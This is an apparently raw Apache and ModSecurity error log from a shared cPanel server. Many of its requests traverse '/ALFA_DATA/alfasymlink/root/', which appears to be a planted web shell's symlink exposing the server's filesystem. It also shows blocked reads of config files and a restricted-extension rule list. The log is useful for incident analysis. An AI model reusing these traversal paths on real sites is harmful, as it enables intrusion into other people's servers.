[Sun Oct 25 01:58:26.146359 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 184.73.35.182:4979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:58:34.133318 2026] [core:error] [pid 2775708:tid 2775708] (13)Permission denied: [client 3.208.156.9:6339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS2/closing_wait
[Sun Oct 25 01:58:38.143289 2026] [security2:error] [pid 2762188:tid 2762188] [client 100.24.167.60:19185] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:08/power/"] [unique_id "at2ajmQyb15Iqx39xvm3IQAAAC4"]
[Sun Oct 25 01:58:38.143344 2026] [security2:error] [pid 2762188:tid 2762188] [client 100.24.167.60:19185] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:08/power/"] [unique_id "at2ajmQyb15Iqx39xvm3IQAAAC4"]
[Sun Oct 25 01:58:42.316650 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.194.14.255:30943] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:58:46.229793 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 3.230.69.161:8879] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/vmd/remove_id
[Sun Oct 25 01:58:54.367906 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.3.104.214:19246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:59:02.150331 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 35.171.117.160:57339] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:59:10.136729 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.235.215.92:23340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:59:12.981050 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 85.208.96.194:17674] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:59:22.136706 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 34.239.85.139:22497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:59:26.296977 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 23.21.119.232:53233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:59:30.215068 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 44.210.204.255:14892] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:59:42.213461 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 3.232.82.72:53667] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/dw_dmac_pci/unbind
[Sun Oct 25 02:00:18.124452 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.206.249.188:10856] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:00:22.127314 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 54.91.122.193:22518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:15/eject
[Sun Oct 25 02:00:26.230684 2026] [core:error] [pid 2775709:tid 2775709] (13)Permission denied: [client 54.89.90.224:9575] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/vmd/new_id
[Sun Oct 25 02:00:30.126278 2026] [ssl:error] [pid 2762145:tid 2762145] (5)Input/output error: [client 100.29.155.89:29297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:00:34.138157 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.45.77.169:53795] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:00:38.258070 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 34.226.89.140:3236] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:00:42.218805 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.209.174.110:34349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:00:46.136481 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 44.212.131.50:22454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/subsystem/drivers/battery/uevent
[Sun Oct 25 02:00:58.223624 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.164.106.236:41767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:01:06.102081 2026] [core:error] [pid 2775675:tid 2775675] (13)Permission denied: [client 185.191.171.6:40496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/slab_size
[Sun Oct 25 02:01:06.151565 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 18.235.81.246:34910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/dw_dmac_pci/new_id
[Sun Oct 25 02:01:10.123828 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.231.118.144:46898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:01:14.193193 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 52.2.83.227:32685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/remove
[Sun Oct 25 02:01:42.291233 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 100.28.133.214:56583] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:01:59.479929 2026] [security2:error] [pid 2775710:tid 2775710] [client 139.155.159.86:59348] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at2bV3qPPT_6tJCMTRvtoQAAAAs"]
[Sun Oct 25 02:01:59.480982 2026] [authz_core:error] [pid 2775710:tid 2775710] [client 139.155.159.86:59348] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:02:01.402743 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 85.208.96.207:46458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:02:01.439037 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 85.208.96.207:46460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:02:06.187686 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 54.84.250.51:9991] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:02:11.904098 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 185.191.171.3:34942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:02:14.233704 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.90.244.132:5937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:02:15.451448 2026] [security2:error] [pid 2775672:tid 2775672] [client 43.157.188.74:45452] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/"] [unique_id "at2bZ8qduxFlyzJhl1wDQgAAAAA"]
[Sun Oct 25 02:02:22.235880 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.205.222.214:58776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:02:30.377726 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 18.204.152.114:15393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/driver/unbind
[Sun Oct 25 02:02:37.672332 2026] [authz_core:error] [pid 2775710:tid 2775710] [client 47.88.94.161:47550] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:02:42.389342 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 44.205.192.249:17909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:02:47.623402 2026] [security2:error] [pid 2775712:tid 2775712] [client 47.254.85.182:34436] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/Public/home/js/check.js"] [unique_id "at2bhwLaiqtlZaJBsx4WggAAAA0"]
[Sun Oct 25 02:02:47.623448 2026] [security2:error] [pid 2775712:tid 2775712] [client 47.254.85.182:34436] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/Public/home/js/check.js"] [unique_id "at2bhwLaiqtlZaJBsx4WggAAAA0"]
[Sun Oct 25 02:02:50.300340 2026] [security2:error] [pid 2775708:tid 2775708] [client 47.89.195.210:33757] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/static/admin/javascript/hetong.js"] [unique_id "at2bijaSD7UWGB8jzmt3qQAAAAk"]
[Sun Oct 25 02:02:50.300408 2026] [security2:error] [pid 2775708:tid 2775708] [client 47.89.195.210:33757] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/static/admin/javascript/hetong.js"] [unique_id "at2bijaSD7UWGB8jzmt3qQAAAAk"]
[Sun Oct 25 02:02:50.381337 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 44.205.74.196:61356] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:02:58.232911 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 35.169.119.108:26855] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:03:10.303419 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 52.4.229.9:41854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/driver/new_id
[Sun Oct 25 02:03:14.433755 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 52.73.142.41:1685] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:03:32.018270 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 85.208.96.207:24222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/poison
[Sun Oct 25 02:03:42.348141 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 52.204.89.12:7365] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/pvpanic/unbind
[Sun Oct 25 02:03:42.384704 2026] [authz_core:error] [pid 2775712:tid 2775712] [client 185.247.137.26:57901] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:03:50.552513 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.205.222.214:31383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:03:51.614200 2026] [authz_core:error] [pid 2759096:tid 2759096] [client 104.152.52.202:49327] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:03:52.600457 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 85.208.96.196:15224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/objs_per_slab
[Sun Oct 25 02:03:58.420461 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.227.234.246:64773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:04:04.169171 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 85.208.96.206:53230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/shrink
[Sun Oct 25 02:04:18.520478 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 23.23.137.202:60228] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:04:34.337175 2026] [ssl:error] [pid 2775675:tid 2775675] (5)Input/output error: [client 52.203.68.145:40543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:04:38.314071 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.156.248.117:16861] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:04:42.342304 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 54.225.181.161:13887] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:04:46.364830 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.193.102.198:59433] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:04:46.644442 2026] [security2:error] [pid 2775712:tid 2775712] [client 216.244.66.250:40884] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpspamd.conf"] [unique_id "at2b_gLaiqtlZaJBsx4WhwAAAA0"]
[Sun Oct 25 02:04:46.644824 2026] [security2:error] [pid 2775712:tid 2775712] [client 216.244.66.250:40884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpspamd.conf"] [unique_id "at2b_gLaiqtlZaJBsx4WhwAAAA0"]
[Sun Oct 25 02:04:46.645126 2026] [security2:error] [pid 2775712:tid 2775712] [client 216.244.66.250:40884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpspamd.conf"] [unique_id "at2b_gLaiqtlZaJBsx4WhwAAAA0"]
[Sun Oct 25 02:05:02.311137 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 3.226.34.98:45117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:05:19.744746 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 34.227.234.246:21703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:05:30.500672 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 34.195.248.30:47296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:05:38.711683 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 23.23.180.225:41201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:05:42.384252 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.194.233.48:14281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:05:49.705517 2026] [core:error] [pid 2775675:tid 2775675] (13)Permission denied: [client 44.193.115.232:14989] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input3/device/driver/uevent
[Sun Oct 25 02:06:09.839039 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 52.7.13.143:32897] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:06:20.591808 2026] [core:error] [pid 2775675:tid 2775675] (13)Permission denied: [client 185.191.171.13:43460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/objects_partial
[Sun Oct 25 02:06:21.839887 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 3.235.215.92:46207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/line
[Sun Oct 25 02:06:22.112869 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 185.191.171.19:33502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/validate
[Sun Oct 25 02:06:32.230980 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 85.208.96.193:61648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:06:32.267201 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 85.208.96.193:61664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:06:34.012300 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.225.98.148:59247] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:06:38.054869 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 52.71.46.142:47253] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:03/physical_node/rom
[Sun Oct 25 02:07:06.158545 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 3.94.199.128:33321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:07:09.872484 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.196.118.6:18172] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:07:13.842855 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 18.213.240.226:38501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:07:18.606195 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.70.123.241:42814] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:07:34.255911 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 3.94.156.104:55403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/event0/device/device/driver/bind
[Sun Oct 25 02:07:38.147168 2026] [core:error] [pid 2775675:tid 2775675] (13)Permission denied: [client 54.85.109.140:53502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/cpu0/driver/unbind
[Sun Oct 25 02:07:42.472694 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 54.197.102.71:34879] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:07:49.964842 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 44.210.204.255:17396] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:08:01.981555 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 52.0.41.164:46808] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:08:05.824998 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 85.208.96.193:17382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/validate
[Sun Oct 25 02:08:06.994894 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 23.21.148.226:29944] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:08:11.124982 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 3.212.219.113:34715] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:08:30.048944 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 52.0.41.164:11517] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/tpm_tis/uevent
[Sun Oct 25 02:08:37.996501 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 35.171.117.160:44207] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:08:46.061040 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 50.16.72.185:6442] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:08:54.004261 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 100.28.57.133:30441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/dw_dmac_pci/bind
[Sun Oct 25 02:08:58.017553 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 54.225.148.123:37454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:09:02.286892 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 100.25.120.246:54193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:09:06.162024 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 35.153.86.200:61446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:09:14.054309 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.7.33.248:10107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:09:22.184614 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.224.215.150:53273] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:09:26.423428 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 3.211.181.86:14185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:09:30.435724 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 52.205.222.214:8009] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_generic/new_id
[Sun Oct 25 02:09:38.131590 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 34.239.85.139:58776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/new_id
[Sun Oct 25 02:09:42.334839 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.80.73.122:10559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:09:46.186457 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 100.29.63.24:17626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:09:54.324926 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 34.238.45.183:52082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:09:58.236430 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.157.99.244:3736] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:10:02.527560 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.207.89.138:53608] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:10:06.504906 2026] [core:error] [pid 2775708:tid 2775708] (13)Permission denied: [client 44.213.36.21:15771] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/slots/5/module/uevent
[Sun Oct 25 02:10:10.327763 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.6.97.88:13409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:10:14.471814 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.223.115.10:35776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:10:18.164045 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.201.155.215:31256] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:10:27.498283 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 54.85.7.119:35773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:10:30.313151 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 34.204.150.196:4873] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/remove_id
[Sun Oct 25 02:10:34.313319 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 54.235.125.129:54703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:10:46.378661 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.90.73.206:24963] AH02013: coalesce failed to read from data bucket
